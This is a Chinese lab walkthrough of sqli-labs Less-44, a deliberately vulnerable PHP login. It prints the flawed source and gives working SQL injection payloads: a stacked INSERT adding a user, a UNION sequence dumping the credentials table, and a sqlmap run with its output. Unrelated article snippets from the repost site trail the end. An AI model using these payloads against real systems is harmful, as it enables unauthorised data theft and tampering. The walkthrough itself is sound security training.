sqli-labs通关笔记-第44关 POST字符型堆叠注入(单引号闭合 手工注入+脚本注入3种方法)

目录

一、堆叠注入

二、源码分析

1、代码审计

2、SQL注入安全性分析

三、堆叠手注法

1、进入靶场

2、正确用户名密码登录

3、堆叠注入

4、查看数据库

四、联合手注法

1、获取列数

2、确认回显位

3、获取数据库名

4、获取表名

5、获取列名

6、获取字段 

7、总结

五、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用堆叠手注、联合手注法、脚本法共3种方法对第44关Less 44基于POST字符型的堆叠注入关卡进行渗透实战。  

一、堆叠注入

堆叠注入是一种特殊的SQL注入技术,攻击者通过在原始查询后添加分号(;),然后拼接额外的SQL语句实现多语句执行。与普通注入不同,堆叠注入允许攻击者一次执行多个完全独立的SQL命令,从而极大扩展了攻击面。这种技术的关键在于数据库服务器支持多语句执行,例如MySQL的mysqli_multi_query()函数或SQL Server的默认配置都允许这种操作。

分类说明
技术名称堆叠注入(Stacked Injection)
核心原理通过在原始SQL查询后添加分号(;)拼接额外SQL语句,实现多语句连续执行。
攻击示例SELECT * FROM users WHERE id=1; DROP TABLE users--
关键依赖数据库服务器需支持多语句执行(如MySQL的mysqli_multi_query())。
典型危害数据删除(DELETE)、表结构修改(ALTER)、权限提升(GRANT)等。
高危操作执行任意数据库命令,远超普通注入的数据泄露范围。
常见支持场景SQL Server(默认支持)、MySQL(需特定驱动如PDO/mysqli启用多语句功能)。
不支持场景PHP的mysql_query()函数(默认禁用多语句)。
防御措施1. 禁用多语句执行功能
2. 严格使用参数化查询
3. 实施最小权限原则。
技术优势可突破单语句限制,实现更复杂的数据库操作。
检测难度较普通注入更难检测,需监控异常分号和多语句执行行为。

二、源码分析

1、代码审计

本关卡Less44是基于POST字符型的堆叠注入关卡,如下所示。

Less45关卡的login源码功能是简单基于用户名和密码的登录页面,与44关的区别在于SQL语句中参数的字符闭合方式不同,对比如下所示。

  • 当 mysqli_store_result() 函数调用失败时,42关调用报错函数,43关不打印数据库报错。
  • 当 mysqli_multi_query() 执行失败时,42关调用报错函数,43关不打印数据库报错。

详细注释过的login.php源码如下所示。

<?php
session_start(); // 开启会话管理
include("../sql-connections/db-creds.inc"); // 加载数据库配置/*** 用户登录验证函数* @param string $host 数据库地址* @param string $dbuser 数据库用户名* @param string $dbpass 数据库密码  * @param string $dbname 数据库名* @return string|int 成功返回用户名,失败返回0*/
function sqllogin($host,$dbuser,$dbpass, $dbname){// 建立数据库连接$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);// 获取并转义用户输入$username = mysqli_real_escape_string($con1, $_POST["login_user"]); // 用户名转义$password = $_POST["login_password"]; // 密码未转义(安全风险)// 连接检查if(mysqli_connect_errno($con1)) {echo "Failed to connect to MySQL: " . mysqli_connect_error();} else {@mysqli_select_db($con1, $dbname) or die("Database connection failed");}// 构造SQL查询(存在注入风险)$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";// 执行多语句查询(高危)if(@mysqli_multi_query($con1, $sql)) {// 处理查询结果if($result = @mysqli_store_result($con1)) {if($row = @mysqli_fetch_row($result)) {return $row[1] ? $row[1] : 0; // 返回用户名或0}} else {// 显示错误详情(不安全)echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }} else {// 查询错误处理echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }
}// 执行登录验证
$login = sqllogin($host,$dbuser,$dbpass, $dbname);if(!$login == 0) { // 登录成功$_SESSION["username"] = $login; // 存储会话setcookie("Auth", 1, time()+3600); // 设置1小时有效cookieheader('Location: logged-in.php'); // 跳转
} else { // 登录失败
?><!-- 失败提示 --><tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;"><center><img src="../images/slap1.jpg"> <!-- 错误图片 --></center></p></td></tr>
<?php } ?>
</body>
</html>

本关卡实现了一个简单的用户登录系统,但存在堆叠SQL注入的风险。系统通过表单接收用户名和密码,然后查询数据库进行验证,登录成功后设置会话cookie并跳转页面,失败则显示错误图片。系统在登录成功后,会将用户名存入session并设置一个简单的认证cookie。

  • 前端展示:黑色背景、黄色文字的简单界面,含首页链接

  • 会话启动session_start()初始化会话

  • 数据库连接:加载配置并建立MySQL连接

  • 输入处理:用户名经过mysqli_real_escape_string转义,密码直接使用原始输入(高危)

  • 认证查询:拼接SQL查询用户凭证

  • 结果处理

    • 成功:存储会话、设置cookie并跳转

    • 失败:显示错误图片,不再打印数据库报错函数,说明无法使用报错法注入

2、SQL注入安全性分析

很明显本关卡存在堆叠查询(Stacked Query)SQL注入风险,主要的安全问题在于通过POST传入了两个参数,分别为用户名和密码。不过代码仅对用户名参数使用了mysqli_real_escape_string转义过滤,而对密码字段没有进行任何过滤处理,直接拼接到SQL语句中导致存在SQL注入风险。因此攻击者可以通过构造特殊密码来绕过认证或执行恶意SQL命令。此外,代码使用了支持多语句查询的mysqli_multi_query函数,进一步增加了堆叠注入的风险。具体如下所示。

  • 堆叠注入存在根源

    • 使用mysqli_multi_query()函数执行SQL查询。

    • 未对用户输入的$password进行任何过滤或转义。

  • 堆叠注入利用方式

    • 通过分号(;)分隔可以执行多条SQL语句。

    • 攻击者可执行任意SQL命令:SELECT...; INSERT...; UPDATE...; DROP...等。

    • 支持所有数据库操作,不仅仅是数据查询。

    • 闭合方式为单引号括号。

三、堆叠手注法

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page3堆叠注入,如下图红框所示。 

其中第44关在堆叠挑战关卡“SQLi-LABS Page-3 (Stacked Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-2.html#fm_imagemap

点击上图红框的Less44关卡,进入到靶场的第44关卡字符型堆叠注入关卡,页面显示登录框,需要输入用户名和密码,具体如下所示。

http://192.168.59.1/sqli-labs/Less-44

2、正确用户名密码登录

输入用户名admin,密码mooyuan123456,效果如下所示。

查看元素-网络,此时点击登录后提示进入登录成功,当前用户为admin,此时进入了修改密码的页面,具体如下图所示。

此时发现登录过程中产生两个报文,第一个是登录的POST报文,参数分别为用户名和密码,效果如下所示。

此时注意登录报文POST参数内容如下所示。

login_user=admin&login_password=mooyuan123456&mysubmit=Login

将报文发送到repeater模块,右键将报文通过copy-to-file保存到sqli-labs44.txt。

第二个报文为logged-in.php,登录成功会重定向到此页面,如下所示。

此时点击login_out退出登录,如下所示。

点击退出登录后再次回到登录页面,如下所示 

3、堆叠注入

根据源码分析可知本关卡具有堆叠注入安全风险,闭合方式为单引号,目标是通过堆叠注入命令插入一个新的用户,id为44,用户名为mooyuan_44,密码为mooyuan,此时密码内容如下所示。

mooyuan123456';insert into users(id,username,password) values ('44','mooyuan_44','mooyuan')#

输入用户名和密码后的页面如下所示。 

这时候用户名设置为admin,点击登录后页面显示我们admin账户登录成功,渗透成功。 

此时buipsuite中找到此POST报文,POST参数内容如下所示。

4、查看数据库

使用navicat查看数据库的users表,如下所示新增用户id为44,用户名为mooyuan_44,密码为mooyuan,说明渗透成功。

四、联合手注法

本关卡可以使用UNION联合注入渗透,注入语句如下所示。

1、获取列数

如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。

ORDER BY 3 成功 - 参数: mooyuan123456' ORDER BY 3-- 
ORDER BY 4 失败 - 参数: mooyuan123456' ORDER BY 4--

在burpsuite的repeater模块进行order by渗透,如下所示order by为3时渗透成功。

接下来尝试order by为4渗透,如下所示order by为4时渗透失败。 

2、确认回显位

Payload: admin' UNION SELECT 1,2,3-- 

如下所示,回显位为2,接下来我们使用第2个回显位进行渗透。 

3、获取数据库名

如下所示,数据库的名称为“security”。

Payload: admin' UNION SELECT 1,DATABASE(),3-- 

4、获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

Payload: admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- 

5、获取列名

如下所示,数据库users表的列名分别为id,username,password。

Payload: admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'-- 

6、获取字段 

最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。

Payload: admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users-- 

7、总结

本关卡使用联合注入法的完整手注语句如下所示。 

[+] 第一步:获取最大列数
ORDER BY 3 成功 - 参数: mooyuan123456' ORDER BY 3-- 
ORDER BY 4 失败 - 参数: mooyuan123456' ORDER BY 4--
[+] 确定最大列数: 3[+] 第二步:确认回显
Payload: admin' UNION SELECT 1,2,3-- 
[+] 确定回显位: 2[+] 第三步:获取数据库名
Payload: admin' UNION SELECT 1,DATABASE(),3-- 
[+] 获取到数据库名: security[+] 第四步:获取数据库security的所有数据库表格tables
Payload: admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()-- 
[+] 获取到数据库所有表名: emails,referers,uagents,users[+] 第五步:获取数据库security的users表的所有列名
Payload: admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'-- 
[+] 获取到users表的所有列名:id,username,password[+] 第六步:获取数据库security的users表的所有username和password
Payload: admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users-- 
[+] 获取users表用户名和密码:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:mooyuan123456,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4,admin'#mooyuan:123456,mooyuan_38:mooyuan,mooyuan_39:mooyuan,mooyuan_40:mooyuan,mooyuan_41:mooyuan,mooyuan_42:mooyuan,mooyuan_43:mooyuan,mooyuan_44:mooyuan

五、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),完整的SQL注入命令如下所示。

sqlmap -r sqli-labs44.txt  --current-db --dump --batch

其中sqli-labs44.txt中的注入点被修改为如下所示,特别注意此时在login_password参数后面增加*字符,标识login_password为注入点。

POST /sqli-labs/Less-44/login.php HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-44/
Cookie: PHPSESSID=m0giifsk3g3t8p9p7j9g0klb42
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60login_user=admin&login_password=mooyuan123456*&mysubmit=Login

sqlmap渗透成功,可以通过布尔盲注、时间盲注等方法渗透成功,具体信息如下所示。

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 251 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: login_user=admin&login_password=mooyuan123456' AND 2034=2034 AND 'obKi'='obKi&mysubmit=LoginType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: login_user=admin&login_password=mooyuan123456' AND (SELECT 3121 FROM (SELECT(SLEEP(5)))eTBt) AND 'peKL'='peKL&mysubmit=Login
---
[21:58:06] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[21:58:06] [INFO] fetching current database
[21:58:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:58:06] [INFO] retrieved: securityTable: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/93065.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/93065.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从深度伪造到深度信任:AI安全的三场攻防战

前言当大模型开始“睁眼”看世界&#xff0c;伪造者也开始“闭眼”造世界。2025 WAIC释放出的信号很明确&#xff1a;没有AI安全底座&#xff0c;就没有产业智能化的高楼。WAIC 把“安全”摆在与“创新”同等重要的位置&#xff0c;形成了“1 份共识框架&#xff0b;2 份重磅报…

【C++】哈希的应用:位图和布隆过滤器

目录 一、位图 1.1 位图的概念 1.2 位图的实现 1.3 位图的应用 二、布隆过滤器 2.1 布隆过滤器的提出 2.2 布隆过滤器的概念 2.3 布隆过滤器的插入和查找 2.4 布隆过滤器的删除 2.5 布隆过滤器的优点 2.6 布隆过滤器的缺点 一、位图 1.1 位图的概念 1. 面试题 给4…

C语言:指针(4)

1. 回调函数回调函数就是指通过函数指针调用的函数。如果将函数指针作为参数传递给另一个函数&#xff0c;另一个函数根据指针来调这个函数&#xff0c;那么被调用的函数就是回调函数。回调函数不是由这个函数的实现方直接调用&#xff0c;而是在特定的条件下由另一方调用的。例…

vue--video使用动态src时,视频不更新

问题描述 在 Vue项目中&#xff0c;尝试动态更新 标签的 元素 src 属性来切换视频时&#xff0c;遇到了一个问题&#xff1a;即使 src 已更改&#xff0c;浏览器仍不显示视频。 <template><video width"100%" height"100%" controlspause"…

计算机视觉--opencv(代码详细教程)(一)

在计算机视觉的广袤领域中&#xff0c;OpenCV 是一座极为关键的里程碑。无论是在前沿的学术研究&#xff0c;还是在蓬勃发展的工业界&#xff0c;OpenCV 凭借其强大的功能与高效的性能&#xff0c;为开发者提供了丰富的图像处理和计算机视觉算法&#xff0c;助力无数项目落地。…

物联网通讯协议-MQTT、Modbus、OPC

引言在物联网迅速发展的今天&#xff0c;设备间的通信协议扮演着至关重要的角色。它们是不同设备、系统之间实现数据交换的桥梁。本文将详细介绍三种在物联网领域广泛应用的通讯协议——MQTT、Modbus和OPC&#xff0c;包括它们的基础概念、特点及在C#中的实现方法。一、MQTT协议…

牛客周赛R104 小红的矩阵不动点

D-小红的矩阵不动点_牛客周赛 Round 104 赛时这道题卡了一段时间&#xff0c;赛时代码如下&#xff1a; #include<bits/stdc.h> using namespace std; int ans,h; int a[505][505]; signed main(){ios::sync_with_stdio(false),cin.tie(0),cout.tie(0);int n,m;cin>…

Rust面试题及详细答案120道(19-26)-- 所有权与借用

《前后端面试题》专栏集合了前后端各个知识模块的面试题&#xff0c;包括html&#xff0c;javascript&#xff0c;css&#xff0c;vue&#xff0c;react&#xff0c;java&#xff0c;Openlayers&#xff0c;leaflet&#xff0c;cesium&#xff0c;mapboxGL&#xff0c;threejs&…

Jenkins + SonarQube 从原理到实战三:SonarQube 打通 Windows AD(LDAP)认证与踩坑记录

前言 在前两篇文章中&#xff0c;已经介绍了 SonarQube 的部署 以及 通过 sonar-cxx 插件实现 C/C 代码扫描。 本篇将重点讲 如何让 SonarQube 对接 Windows AD&#xff08;LDAP&#xff09;&#xff0c;实现域账号登录和基于 AD 组的权限管理。 一、背景与需求分析 需求分析…

[AI React Web] 包与依赖管理 | `axios`库 | `framer-motion`库

第七章&#xff1a;包与依赖管理 在我们使用open-lovable的旅程中&#xff0c;已经探索了它如何管理对话状态&#xff08;第一章&#xff1a;对话状态管理&#xff09;、将创意转化为可运行代码&#xff08;第二章&#xff1a;AI代码生成管道&#xff09;、如何在安全的虚拟环…

PanSou 一款开源网盘搜索项目,集成前后端,一键部署,开箱即用

PanSou 网盘搜索API PanSou是一个高性能的网盘资源搜索API服务&#xff0c;支持TG搜索和自定义插件搜索。系统设计以性能和可扩展性为核心&#xff0c;支持并发搜索、结果智能排序和网盘类型分类。 项目地址&#xff1a;https://github.com/fish2018/pansou 特性&#xff08…

java爬虫实战

本人目前在做鱼皮的《智能协同云图库》&#xff0c;涉及到了以图搜图图片爬取&#xff0c;虽然以前有爬过图片&#xff0c;但是用的都是别人现成的代码&#xff0c;不怎么去理解为什么要这样做&#xff0c;这次有在尝试理解每一个步骤。本人基础极差&#xff0c;属于一点基础也…

深入详解C语言的循环结构:while循环、do-while循环、for循环,结合实例,讲透C语言的循环结构

&#x1f525;个人主页&#xff1a;艾莉丝努力练剑 ❄专栏传送门&#xff1a;《C语言》、《数据结构与算法》、C语言刷题12天IO强训、LeetCode代码强化刷题、C/C干货分享&学习过程记录 &#x1f349;学习方向&#xff1a;C/C方向 ⭐️人生格言&#xff1a;为天地立心&#…

北京-4年功能测试2年空窗-报培训班学测开-第七十四天-线下面试-聊的很满意但可能有风险-等信吧

今天没去教室&#xff0c;因为下午有个线下面试。其实是可以去教室的&#xff0c;但我实在太焦虑了&#xff0c;我觉得去了教室我心情会更不好&#xff0c;什么都干不下去&#xff0c;所以我选择不去早上依旧是带着满满焦虑起来的&#xff0c;会觉得自己的一切都不令自己满意&a…

在ubuntu服务器下安装cuda和cudnn(笔记)

目录 0 引言 1 相关环境查询 2 安装cuda 2.1 下载并安装 2.2 安装选项配置 2.3 验证安装 3 安装cudnn 3.1 下载 3.2 解压 3.3 删除旧版本 cuDNN 3.4 复制新文件到 CUDA 目录 3.5 设置文件权限 3.6 创建软链接 3.7 验证安装 0 引言 我在使用服务器的cuda11.8的时…

docker安装centos

docker库地址https://hub.docker.com/ 尝试使用centos7试了几次超时 换了个版本就可以了 docker pull centos:centos7.9.2009有时候需要更新资源地址 可以使用 vim /etc/docker/daemon.json配置其他资源地址 {"registry-mirrors": ["http://hub-mirror.c.163…

内容索引之word转md工具 - markitdown

切分文档构建RAG库过程中&#xff0c;langchain、llamaindex更期望处理latex、md类带有显式结构文档。 langchain、llamaindex切分word&#xff0c;有可能将段落中间截断&#xff0c;导致切分后的块语义不完整。 所以&#xff0c;需要先将word转化为md格式&#xff0c;然后再…

MaxKB+合合信息TextIn:通过API实现PDF扫描件的文档审核

上海合合信息科技股份有限公司&#xff08;以下简称为合合信息&#xff09;是一家深耕人工智能、OCR&#xff08;光学字符识别&#xff09;及商业大数据技术领域的科技企业。该公司拥有领先的智能文字识别技术&#xff0c;其名片全能王&#xff08;CamCard&#xff09;、扫描全…

MyBatis 核心入门:从概念到实战,一篇掌握简单增删改查

目录 一、什么是 MyBatis&#xff1f;为什么要用它&#xff1f; 二、MyBatis 核心概念&#xff08;通俗理解&#xff09; 1.SqlSessionFactory 2.SqlSession 3.Mapper接口 4.映射文件&#xff08;XML&#xff09; 三、手把手搭建第一个 MyBatis 项目 1. 准备工作 2. 核心配置文…

数据结构初阶(12)排序算法—插入排序(插入、希尔)(动图演示)

2. 常见排序算法的实现2.0 十大排序算法2.1 插入排序 2.1.1 基本思想直接插入排序是一种简单的插入排序法&#xff1a;基本思想把待排序的记录按其关键码值的大小逐个插入到一个已经排好序的有序序列中。直到所有的记录插入完为止&#xff0c;得到一个新的有序序列 。 比 挪 (…